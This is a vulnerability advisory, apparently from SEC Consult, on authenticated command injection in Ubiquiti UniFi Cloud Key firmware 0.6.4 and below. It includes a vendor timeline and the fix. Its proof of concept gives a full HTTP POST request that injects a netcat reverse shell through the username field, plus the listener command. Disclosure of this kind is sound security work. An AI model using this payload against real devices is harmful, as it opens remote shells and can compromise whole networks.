Ubiquiti Networks UniFi Cloud Key Command Injection

Ubiquiti Networks UniFi Cloud Key wwith firmware versions 0.6.4 and below suffer from an authenticated command injection vulnerability.

MD5 | 4d0cd508a986d910f949bc461e2fce58

SEC Consult Vulnerability Lab Security Advisory < 20170914-0 >
title: Authenticated Command Injection
product: Ubiquiti Networks UniFi Cloud Key
vulnerable version: Firmware version <=0.6.4
fixed version: Firmware version >=0.6.9
CVE number: -
impact: High
homepage: https://www.ubnt.com
found: 2017-03-26
by: T. Weber (Office Vienna)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
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Vendor description:
"Ubiquiti Networks develops high-performance networking
technology for service providers and enterprises. Our technology
platforms focus on delivering highly advanced and easily deployable
solutions that appeal to a global customer base in underserved and
underpenetrated markets."

Source: http://ir.ubnt.com/

Business recommendation:
The patch supplied by the vendor should be installed immediately.

There are indications for further security issues within this device, hence
SEC Consult recommends performing a detailed review by security professionals.

Vulnerability overview/description:
1) Authenticated Command Injection in Administrative Interface
A change of the username with a hand crafted request leads to command injection
in the administrative interface. This vulnerability can be exploited when the
cloud key web interface is exposed to the internet.

An attacker which can access the administrative web interface of the cloud
key after cracking a cloud account password is able to execute arbitrary
commands without access to the local network. Since the Ubiquiti switches also
use the same credentials, the whole network can be compromised over this attack

Proof of concept:
1) Authenticated Command Injection in Administrative Interface
The following PHP code excerpt is responsible for the username command execution:

(api.inc, line 455)
function chusername($username) {
exec(CMD_CHUSERNAME . ' ' . $username, $out, $rc);
return $rc;

Since '$username' is not filtered, a command injection is possible.

The following POST request opens a reverse-shell to the attacker:
POST /api/account HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
X-Access-Token: <Token>
Referer: https://$host/manage/maintenance
Content-Length: 57
Cookie: CKSESSIONID=<Session-ID>
Connection: close

{"username":";busybox nc $attackerIP 8999 -e /bin/bash;"}

As listener, netcat was used:
$ nc -lvp <Attacker-Port>

Vulnerable / tested versions:
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested.
This version was the latest at the time the security vulnerabilities
were discovered. Version 0.6.4 has been checked and found to be
vulnerable as well.

Vendor contact timeline:
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to
2017-04-24: Asking for a status update; No answer.
2017-05-06: Found update 0.6.4 on the website of the vendor, firmware
is still vulnerable.
2017-05-15: Contacted vendor via e-mail and asked for status.
2017-06-01: Vendor sent a link to the fixed version 0.6.9.
2017-06-07: Verified the fix in this version. Vendor marked the issue
as resolved.
2017-09-13: Public release of security advisory

Upgrade to v0.6.9 or above.


Advisory URL:


SEC Consult Vulnerability Lab

SEC Consult
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Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

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EOF T. Weber / @2017

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